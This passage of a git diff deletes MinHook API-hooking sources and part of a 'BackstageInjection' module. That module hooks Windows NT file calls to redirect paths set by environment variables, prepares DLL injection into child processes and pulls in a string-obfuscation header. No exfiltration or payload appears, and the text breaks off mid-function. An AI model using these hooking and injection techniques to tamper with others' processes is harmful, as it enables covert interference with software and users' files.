ALLOW_INTRINSICS - #include -#endif - -#ifndef ARRAYSIZE - #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0])) -#endif - -#if defined(_M_X64) || defined(__x86_64__) - #include "./hde/hde64.h" - typedef hde64s HDE; - #define HDE_DISASM(code, hs) hde64_disasm(code, hs) -#else - #include "./hde/hde32.h" - typedef hde32s HDE; - #define HDE_DISASM(code, hs) hde32_disasm(code, hs) -#endif - -#include "trampoline.h" -#include "buffer.h" - -// Maximum size of a trampoline function. -#if defined(_M_X64) || defined(__x86_64__) - #define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS)) -#else - #define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE -#endif - -//------------------------------------------------------------------------- -static BOOL IsCodePadding(LPBYTE pInst, UINT size) -{ - UINT i; - - if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC) - return FALSE; - - for (i = 1; i < size; ++i) - { - if (pInst[i] != pInst[0]) - return FALSE; - } - return TRUE; -} - -//------------------------------------------------------------------------- -BOOL CreateTrampolineFunction(PTRAMPOLINE ct) -{ -#if defined(_M_X64) || defined(__x86_64__) - CALL_ABS call = { - 0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8] - 0xEB, 0x08, // EB 08: JMP +10 - 0x0000000000000000ULL // Absolute destination address - }; - JMP_ABS jmp = { - 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6] - 0x0000000000000000ULL // Absolute destination address - }; - JCC_ABS jcc = { - 0x70, 0x0E, // 7* 0E: J** +16 - 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6] - 0x0000000000000000ULL // Absolute destination address - }; -#else - CALL_REL call = { - 0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx - 0x00000000 // Relative destination address - }; - JMP_REL jmp = { - 0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx - 0x00000000 // Relative destination address - }; - JCC_REL jcc = { - 0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx - 0x00000000 // Relative destination address - }; -#endif - - UINT8 oldPos = 0; - UINT8 newPos = 0; - ULONG_PTR jmpDest = 0; // Destination address of an internal jump. - BOOL finished = FALSE; // Is the function completed? -#if defined(_M_X64) || defined(__x86_64__) - UINT8 instBuf[16]; -#endif - - ct->patchAbove = FALSE; - ct->nIP = 0; - - do - { - HDE hs; - UINT copySize; - LPVOID pCopySrc; - ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos; - ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos; - - copySize = HDE_DISASM((LPVOID)pOldInst, &hs); - if (hs.flags & F_ERROR) - return FALSE; - - pCopySrc = (LPVOID)pOldInst; - if (oldPos >= sizeof(JMP_REL)) - { - // The trampoline function is long enough. - // Complete the function with the jump to the target function. -#if defined(_M_X64) || defined(__x86_64__) - jmp.address = pOldInst; -#else - jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp))); -#endif - pCopySrc = &jmp; - copySize = sizeof(jmp); - - finished = TRUE; - } -#if defined(_M_X64) || defined(__x86_64__) - else if ((hs.modrm & 0xC7) == 0x05) - { - // Instructions using RIP relative addressing. (ModR/M = 00???101B) - - // Modify the RIP relative address. - PUINT32 pRelAddr; - - // Avoid using memcpy to reduce the footprint. -#ifndef ALLOW_INTRINSICS - memcpy(instBuf, (LPBYTE)pOldInst, copySize); -#else - __movsb(instBuf, (LPBYTE)pOldInst, copySize); -#endif - pCopySrc = instBuf; - - // Relative address is stored at (instruction length - immediate value length - 4). - pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4); - *pRelAddr - = (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len)); - - // Complete the function if JMP (FF /4). - if (hs.opcode == 0xFF && hs.modrm_reg == 4) - finished = TRUE; - } -#endif - else if (hs.opcode == 0xE8) - { - // Direct relative CALL - ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32; -#if defined(_M_X64) || defined(__x86_64__) - call.address = dest; -#else - call.operand = (INT32)(dest - (pNewInst + sizeof(call))); -#endif - pCopySrc = &call; - copySize = sizeof(call); - } - else if ((hs.opcode & 0xFD) == 0xE9) - { - // Direct relative JMP (EB or E9) - ULONG_PTR dest = pOldInst + hs.len; - - if (hs.opcode == 0xEB) // isShort jmp - dest += (INT8)hs.imm.imm8; - else - dest += (INT32)hs.imm.imm32; - - // Simply copy an internal jump. - if ((ULONG_PTR)ct->pTarget <= dest - && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL))) - { - if (jmpDest < dest) - jmpDest = dest; - } - else - { -#if defined(_M_X64) || defined(__x86_64__) - jmp.address = dest; -#else - jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp))); -#endif - pCopySrc = &jmp; - copySize = sizeof(jmp); - - // Exit the function if it is not in the branch. - finished = (pOldInst >= jmpDest); - } - } - else if ((hs.opcode & 0xF0) == 0x70 - || (hs.opcode & 0xFC) == 0xE0 - || (hs.opcode2 & 0xF0) == 0x80) - { - // Direct relative Jcc - ULONG_PTR dest = pOldInst + hs.len; - - if ((hs.opcode & 0xF0) == 0x70 // Jcc - || (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ - dest += (INT8)hs.imm.imm8; - else - dest += (INT32)hs.imm.imm32; - - // Simply copy an internal jump. - if ((ULONG_PTR)ct->pTarget <= dest - && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL))) - { - if (jmpDest < dest) - jmpDest = dest; - } - else if ((hs.opcode & 0xFC) == 0xE0) - { - // LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported. - return FALSE; - } - else - { - UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F); -#if defined(_M_X64) || defined(__x86_64__) - // Invert the condition in x64 mode to simplify the conditional jump logic. - jcc.opcode = 0x71 ^ cond; - jcc.address = dest; -#else - jcc.opcode1 = 0x80 | cond; - jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc))); -#endif - pCopySrc = &jcc; - copySize = sizeof(jcc); - } - } - else if ((hs.opcode & 0xFE) == 0xC2) - { - // RET (C2 or C3) - - // Complete the function if not in a branch. - finished = (pOldInst >= jmpDest); - } - - // Can't alter the instruction length in a branch. - if (pOldInst < jmpDest && copySize != hs.len) - return FALSE; - - // Trampoline function is too large. - if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE) - return FALSE; - - // Trampoline function has too many instructions. - if (ct->nIP >= ARRAYSIZE(ct->oldIPs)) - return FALSE; - - ct->oldIPs[ct->nIP] = oldPos; - ct->newIPs[ct->nIP] = newPos; - ct->nIP++; - - // Avoid using memcpy to reduce the footprint. -#ifndef ALLOW_INTRINSICS - memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize); -#else - __movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize); -#endif - newPos += copySize; - oldPos += hs.len; - } while (!finished); - - // Is there enough place for a long jump? - if (oldPos < sizeof(JMP_REL) - && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos)) - { - // Is there enough place for a short jump? - if (oldPos < sizeof(JMP_REL_SHORT) - && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos)) - { - return FALSE; - } - - // Can we place the long jump above the function? - if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL))) - return FALSE; - - if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL))) - return FALSE; - - ct->patchAbove = TRUE; - } - -#if defined(_M_X64) || defined(__x86_64__) - // Create a relay function. - jmp.address = (ULONG_PTR)ct->pDetour; - - ct->pRelay = (LPBYTE)ct->pTrampoline + newPos; - memcpy(ct->pRelay, &jmp, sizeof(jmp)); -#endif - - return TRUE; -} diff --git a/BackstageInjection/Minhook/src/trampoline.h b/BackstageInjection/Minhook/src/trampoline.h deleted file mode 100644 index f7efb36..0000000 --- a/BackstageInjection/Minhook/src/trampoline.h +++ /dev/null @@ -1,105 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -#pragma pack(push, 1) - -// Structs for writing x86/x64 instructions. - -// 8-bit relative jump. -typedef struct _JMP_REL_SHORT -{ - UINT8 opcode; // EB xx: JMP +2+xx - INT8 operand; // Relative destination address -} JMP_REL_SHORT, *PJMP_REL_SHORT; - -// 32-bit direct relative jump/call. -typedef struct _JMP_REL -{ - UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx - INT32 operand; // Relative destination address -} JMP_REL, *PJMP_REL, CALL_REL; - -// 64-bit indirect absolute jump. -typedef struct _JMP_ABS -{ - UINT8 opcode0; // FF25 00000000: JMP [+6] - UINT8 opcode1; - UINT32 dummy; - UINT64 address; // Absolute destination address -} JMP_ABS, *PJMP_ABS; - -// 64-bit indirect absolute call. -typedef struct _CALL_ABS -{ - UINT8 opcode0; // FF15 00000002: CALL [+6] - UINT8 opcode1; - UINT32 dummy0; - UINT8 dummy1; // EB 08: JMP +10 - UINT8 dummy2; - UINT64 address; // Absolute destination address -} CALL_ABS; - -// 32-bit direct relative conditional jumps. -typedef struct _JCC_REL -{ - UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx - UINT8 opcode1; - INT32 operand; // Relative destination address -} JCC_REL; - -// 64bit indirect absolute conditional jumps that x64 lacks. -typedef struct _JCC_ABS -{ - UINT8 opcode; // 7* 0E: J** +16 - UINT8 dummy0; - UINT8 dummy1; // FF25 00000000: JMP [+6] - UINT8 dummy2; - UINT32 dummy3; - UINT64 address; // Absolute destination address -} JCC_ABS; - -#pragma pack(pop) - -typedef struct _TRAMPOLINE -{ - LPVOID pTarget; // [In] Address of the target function. - LPVOID pDetour; // [In] Address of the detour function. - LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function. - -#if defined(_M_X64) || defined(__x86_64__) - LPVOID pRelay; // [Out] Address of the relay function. -#endif - BOOL patchAbove; // [Out] Should use the hot patch area? - UINT nIP; // [Out] Number of the instruction boundaries. - UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function. - UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function. -} TRAMPOLINE, *PTRAMPOLINE; - -BOOL CreateTrampolineFunction(PTRAMPOLINE ct); diff --git a/BackstageInjection/src/MinHook.h b/BackstageInjection/src/MinHook.h deleted file mode 100644 index 8b16ce0..0000000 --- a/BackstageInjection/src/MinHook.h +++ /dev/null @@ -1,185 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) -#error MinHook supports only x86 and x64 systems. -#endif - -#include - - // MinHook Error Codes. -typedef enum MH_STATUS -{ - // Unknown error. Should not be returned. - MH_UNKNOWN = -1, - - // Successful. - MH_OK = 0, - - // MinHook is already initialized. - MH_ERROR_ALREADY_INITIALIZED, - - // MinHook is not initialized yet, or already uninitialized. - MH_ERROR_NOT_INITIALIZED, - - // The hook for the specified target function is already created. - MH_ERROR_ALREADY_CREATED, - - // The hook for the specified target function is not created yet. - MH_ERROR_NOT_CREATED, - - // The hook for the specified target function is already enabled. - MH_ERROR_ENABLED, - - // The hook for the specified target function is not enabled yet, or already - // disabled. - MH_ERROR_DISABLED, - - // The specified pointer is invalid. It points the address of non-allocated - // and/or non-executable region. - MH_ERROR_NOT_EXECUTABLE, - - // The specified target function cannot be hooked. - MH_ERROR_UNSUPPORTED_FUNCTION, - - // Failed to allocate memory. - MH_ERROR_MEMORY_ALLOC, - - // Failed to change the memory protection. - MH_ERROR_MEMORY_PROTECT, - - // The specified module is not loaded. - MH_ERROR_MODULE_NOT_FOUND, - - // The specified function is not found. - MH_ERROR_FUNCTION_NOT_FOUND -} -MH_STATUS; - -// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, -// MH_QueueEnableHook or MH_QueueDisableHook. -#define MH_ALL_HOOKS NULL - -#ifdef __cplusplus -extern "C" { -#endif - - // Initialize the MinHook library. You must call this function EXACTLY ONCE - // at the beginning of your program. - MH_STATUS WINAPI MH_Initialize(VOID); - - // Uninitialize the MinHook library. You must call this function EXACTLY - // ONCE at the end of your program. - MH_STATUS WINAPI MH_Uninitialize(VOID); - - // Creates a Hook for the specified target function, in disabled state. - // Parameters: - // pTarget [in] A pointer to the target function, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal); - - // Creates a Hook for the specified API function, in disabled state. - // Parameters: - // pszModule [in] A pointer to the loaded module name which contains the - // target function. - // pszTarget [in] A pointer to the target function name, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHookApi( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal); - - // Creates a Hook for the specified API function, in disabled state. - // Parameters: - // pszModule [in] A pointer to the loaded module name which contains the - // target function. - // pszTarget [in] A pointer to the target function name, which will be - // overridden by the detour function. - // pDetour [in] A pointer to the detour function, which will override - // the target function. - // ppOriginal [out] A pointer to the trampoline function, which will be - // used to call the original target function. - // This parameter can be NULL. - // ppTarget [out] A pointer to the target function, which will be used - // with other functions. - // This parameter can be NULL. - MH_STATUS WINAPI MH_CreateHookApiEx( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget); - - // Removes an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); - - // Enables an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // enabled in one go. - MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); - - // Disables an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // disabled in one go. - MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); - - // Queues to enable an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // queued to be enabled. - MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); - - // Queues to disable an already created hook. - // Parameters: - // pTarget [in] A pointer to the target function. - // If this parameter is MH_ALL_HOOKS, all created hooks are - // queued to be disabled. - MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); - - // Applies all queued changes in one go. - MH_STATUS WINAPI MH_ApplyQueued(VOID); - - // Translates the MH_STATUS to its name as a string. - const char* WINAPI MH_StatusToString(MH_STATUS status); - -#ifdef __cplusplus -} -#endif diff --git a/BackstageInjection/src/NtApiHooks.c b/BackstageInjection/src/NtApiHooks.c deleted file mode 100644 index fcbc7ab..0000000 --- a/BackstageInjection/src/NtApiHooks.c +++ /dev/null @@ -1,1201 +0,0 @@ -//===============================================================================================// -// NT API Hooking Implementation -//===============================================================================================// -#ifdef __cplusplus -extern "C" { -#endif - -#include "NtApiHooks.h" -#include "MinHook.h" -#include "obfstr.h" -#include -#include - -#ifdef _MSC_VER -#pragma comment(lib, "ntdll.lib") -#endif - -// Portable secure string helpers for MinGW compatibility -#ifndef _MSC_VER -#ifndef _backstage_PORTABLE_CRT -#define _backstage_PORTABLE_CRT -static inline void _backstage_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) { - if (!dst || dstSize == 0) return; - size_t toCopy = (count < dstSize - 1) ? count : dstSize - 1; - size_t i; - for (i = 0; i < toCopy && src[i] != L'\0'; i++) - dst[i] = src[i]; - dst[i] = L'\0'; -} -#define wcsncpy_s(dst, dstSize, src, count) _backstage_wcsncpy_s((dst), (dstSize), (src), (count)) -#define sprintf_s(buf, size, ...) snprintf((buf), (size), __VA_ARGS__) -#endif -#endif - - // Global search and replacement strings (filled from environment variables). - // 2048 WCHARs (4 KB) accommodates deep UNC paths and long-path-enabled paths - // well beyond the legacy MAX_PATH of 260. - static WCHAR g_SearchString[2048] = { 0 }; - static WCHAR g_ReplacementString[2048] = { 0 }; - - // UNICODE_STRING.Length / .MaximumLength are USHORT (max 65,535 bytes = 32,767 WCHARs). - // Any replacement path longer than this cannot be represented without wrapping. - #define UNICODE_STRING_MAX_WCHARS ((SIZE_T)32767) - static BOOL g_HooksInitialized = FALSE; - - // Helper function for case-insensitive wide string comparison. - // Uses CompareStringOrdinal so Cyrillic, Greek, and other non-ASCII - // characters are properly case-folded (fixing crashes on Russian/Chinese - // Windows where the ASCII-only approach produced false mismatches). - int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) { - if (count == 0) return 0; - int result = CompareStringOrdinal(s1, (int)count, s2, (int)count, TRUE); - if (result == CSTR_EQUAL) return 0; - return (result == CSTR_LESS_THAN) ? -1 : 1; - } - - // Helper function to normalize NT paths - skip \??\ prefix if present. - // - // Handled prefixes: - // \??\ — NT object namespace prefix for DOS device paths (e.g. \??\C:\...) - // \??\UNC\ — NT UNC path (e.g. \??\UNC\server\share\...) — strip only the \??\ - // leaving UNC\ visible so search/replace still matches correctly - // \??\Volume{…} — Volume GUID paths — strip only the \??\ prefix - // \Device\ — Raw device paths — left as-is (no stripping) - const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) { - if (!path || !adjustedLength) return path; - - SIZE_T length = *adjustedLength; - - // Check for \??\ prefix (NT object namespace for DOS devices, UNC, and GUID volumes). - // Strip the 4-character prefix in all cases; the caller then sees the "canonical" - // Win32-equivalent form (C:\..., UNC\server\share\..., Volume{GUID}\...). - if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') { - *adjustedLength = length - 4; - return path + 4; - } - - // Check for \Device\ prefix (raw device path — e.g. \Device\HarddiskVolume3\...). - // Do NOT strip: these are not Win32-rooted paths and the search string is - // expected to be a Win32-style path, so the match would be spurious. - if (length >= 8 && wcsnicmp_custom(path, L"\\Device\\", 8) == 0) { - return path; - } - - return path; - } - - // NT API typedefs - typedef struct _UNICODE_STRING { - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; - } UNICODE_STRING, * PUNICODE_STRING; - - typedef struct _OBJECT_ATTRIBUTES { - ULONG Length; - HANDLE RootDirectory; - PUNICODE_STRING ObjectName; - ULONG Attributes; - PVOID SecurityDescriptor; - PVOID SecurityQualityOfService; - } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; - - typedef struct _IO_STATUS_BLOCK { - union { - LONG Status; - PVOID Pointer; - }; - ULONG_PTR Information; - } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; - - typedef enum _FILE_INFORMATION_CLASS { - FileDirectoryInformation = 1, - FileFullDirectoryInformation, - FileBothDirectoryInformation, - FileBasicInformation, - FileStandardInformation, - FileInternalInformation, - FileEaInformation, - FileAccessInformation, - FileNameInformation, - FileRenameInformation = 10, - FileLinkInformation, - FileNamesInformation, - FileDispositionInformation, - FilePositionInformation, - FileFullEaInformation, - FileModeInformation, - FileAlignmentInformation, - FileAllInformation, - FileAllocationInformation, - FileEndOfFileInformation, - FileAlternateNameInformation, - FileStreamInformation, - FilePipeInformation, - FilePipeLocalInformation, - FilePipeRemoteInformation, - FileMailslotQueryInformation, - FileMailslotSetInformation, - FileCompressionInformation, - FileObjectIdInformation, - FileCompletionInformation, - FileMoveClusterInformation, - FileQuotaInformation, - FileReparsePointInformation, - FileNetworkOpenInformation, - FileAttributeTagInformation, - FileTrackingInformation, - FileIdBothDirectoryInformation, - FileIdFullDirectoryInformation, - FileValidDataLengthInformation, - FileShortNameInformation, - FileIoCompletionNotificationInformation, - FileIoStatusBlockRangeInformation, - FileIoPriorityHintInformation, - FileSfioReserveInformation, - FileSfioVolumeInformation, - FileHardLinkInformation, - FileProcessIdsUsingFileInformation, - FileNormalizedNameInformation, - FileNetworkPhysicalNameInformation, - FileIdGlobalTxDirectoryInformation, - FileIsRemoteDeviceInformation, - FileUnusedInformation, - FileNumaNodeInformation, - FileStandardLinkInformation, - FileRemoteProtocolInformation, - FileRenameInformationBypassAccessCheck, - FileLinkInformationBypassAccessCheck, - FileVolumeNameInformation, - FileIdInformation, - FileIdExtdDirectoryInformation, - FileReplaceCompletionInformation, - FileHardLinkFullIdInformation, - FileIdExtdBothDirectoryInformation, - FileRenameInformationEx = 65, - FileRenameInformationExBypassAccessCheck, - FileMaximumInformation - } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; - - // NT API function pointers - typedef LONG NTSTATUS; - - typedef NTSTATUS(NTAPI* pNtCreateFile)( - PHANDLE FileHandle, - ULONG DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes, - PIO_STATUS_BLOCK IoStatusBlock, - PLARGE_INTEGER AllocationSize, - ULONG FileAttributes, - ULONG ShareAccess, - ULONG CreateDisposition, - ULONG CreateOptions, - PVOID EaBuffer, - ULONG EaLength - ); - - typedef NTSTATUS(NTAPI* pNtOpenFile)( - PHANDLE FileHandle, - ULONG DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes, - PIO_STATUS_BLOCK IoStatusBlock, - ULONG ShareAccess, - ULONG OpenOptions - ); - - typedef NTSTATUS(NTAPI* pNtDeleteFile)( - POBJECT_ATTRIBUTES ObjectAttributes - ); - - typedef NTSTATUS(NTAPI* pNtSetInformationFile)( - HANDLE FileHandle, - PIO_STATUS_BLOCK IoStatusBlock, - PVOID FileInformation, - ULONG Length, - FILE_INFORMATION_CLASS FileInformationClass - ); - - typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)( - POBJECT_ATTRIBUTES ObjectAttributes, - PVOID FileInformation - ); - - typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)( - POBJECT_ATTRIBUTES ObjectAttributes, - PVOID FileInformation - ); - - typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)( - HANDLE FileHandle, - HANDLE Event, - PVOID ApcRoutine, - PVOID ApcContext, - PIO_STATUS_BLOCK IoStatusBlock, - PVOID FileInformation, - ULONG Length, - FILE_INFORMATION_CLASS FileInformationClass, - BOOLEAN ReturnSingleEntry, - PUNICODE_STRING FileName, - BOOLEAN RestartScan - ); - - typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)( - HANDLE FileHandle, - HANDLE Event, - PVOID ApcRoutine, - PVOID ApcContext, - PIO_STATUS_BLOCK IoStatusBlock, - PVOID FileInformation, - ULONG Length, - FILE_INFORMATION_CLASS FileInformationClass, - ULONG QueryFlags, - PUNICODE_STRING FileName - ); - - // Original function pointers - pNtCreateFile OriginalNtCreateFile = NULL; - pNtOpenFile OriginalNtOpenFile = NULL; - pNtDeleteFile OriginalNtDeleteFile = NULL; - pNtSetInformationFile OriginalNtSetInformationFile = NULL; - pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL; - pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL; - pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL; - pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL; - - typedef BOOL(WINAPI* pCreateProcessW)( - LPCWSTR lpApplicationName, - LPWSTR lpCommandLine, - LPSECURITY_ATTRIBUTES lpProcessAttributes, - LPSECURITY_ATTRIBUTES lpThreadAttributes, - BOOL bInheritHandles, - DWORD dwCreationFlags, - LPVOID lpEnvironment, - LPCWSTR lpCurrentDirectory, - LPSTARTUPINFOW lpStartupInfo, - LPPROCESS_INFORMATION lpProcessInformation - ); - pCreateProcessW OriginalCreateProcessW = NULL; - - // In-memory DLL bytes for child injection (mapped from named section) - static HANDLE g_DllSectionHandle = NULL; - static LPVOID g_DllRawBytes = NULL; - static DWORD g_DllRawSize = 0; - - // Helper function to check if path needs redirection - BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) { - if (!path || length == 0) return FALSE; - - SIZE_T searchLen = wcslen(g_SearchString); - if (searchLen == 0 || length < searchLen) return FALSE; - - // Normalize the path (strip \??\ prefix if present) - SIZE_T normalizedLength = length; - const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength); - - if (normalizedLength < searchLen) return FALSE; - - // Search for the search string in the normalized path (case-insensitive) - for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) { - if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) { - return TRUE; - } - } - - return FALSE; - } - - // Helper function to replace search string with the replacement string - WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) { - if (!originalPath || originalLength == 0 || !newLength) return NULL; - - SIZE_T searchLen = wcslen(g_SearchString); - SIZE_T replaceLen = wcslen(g_ReplacementString); - - if (searchLen == 0 || originalLength < searchLen) return NULL; - - // Normalize the path - SIZE_T normalizedLength = originalLength; - const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength); - SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix - - if (normalizedLength < searchLen) return NULL; - - // Count occurrences (case-insensitive) in normalized portion - SIZE_T occurrences = 0; - for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) { - if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) { - occurrences++; - i += searchLen - 1; // Skip past this occurrence - } - } - - if (occurrences == 0) return NULL; - - // Calculate new length (prefix + modified path). - // Avoid SIZE_T unsigned underflow when replaceLen < searchLen by computing - // additions and subtractions separately (all terms are non-negative). - SIZE_T calcNewLength = prefixLength + normalizedLength - - (occurrences * searchLen) - + (occurrences * replaceLen); - WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR)); - if (!newPath) return NULL; - - // Copy prefix (\??\ or other) if present - SIZE_T destIdx = 0; - for (SIZE_T i = 0; i < prefixLength; i++) { - newPath[destIdx++] = originalPath[i]; - } - - // Perform replacement in normalized portion (case-insensitive) - SIZE_T srcIdx = 0; - - while (srcIdx < normalizedLength) { - if (srcIdx <= normalizedLength - searchLen && - wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) { - // Copy replacement string - for (SIZE_T j = 0; j < replaceLen; j++) { - newPath[destIdx++] = g_ReplacementString[j]; - } - srcIdx += 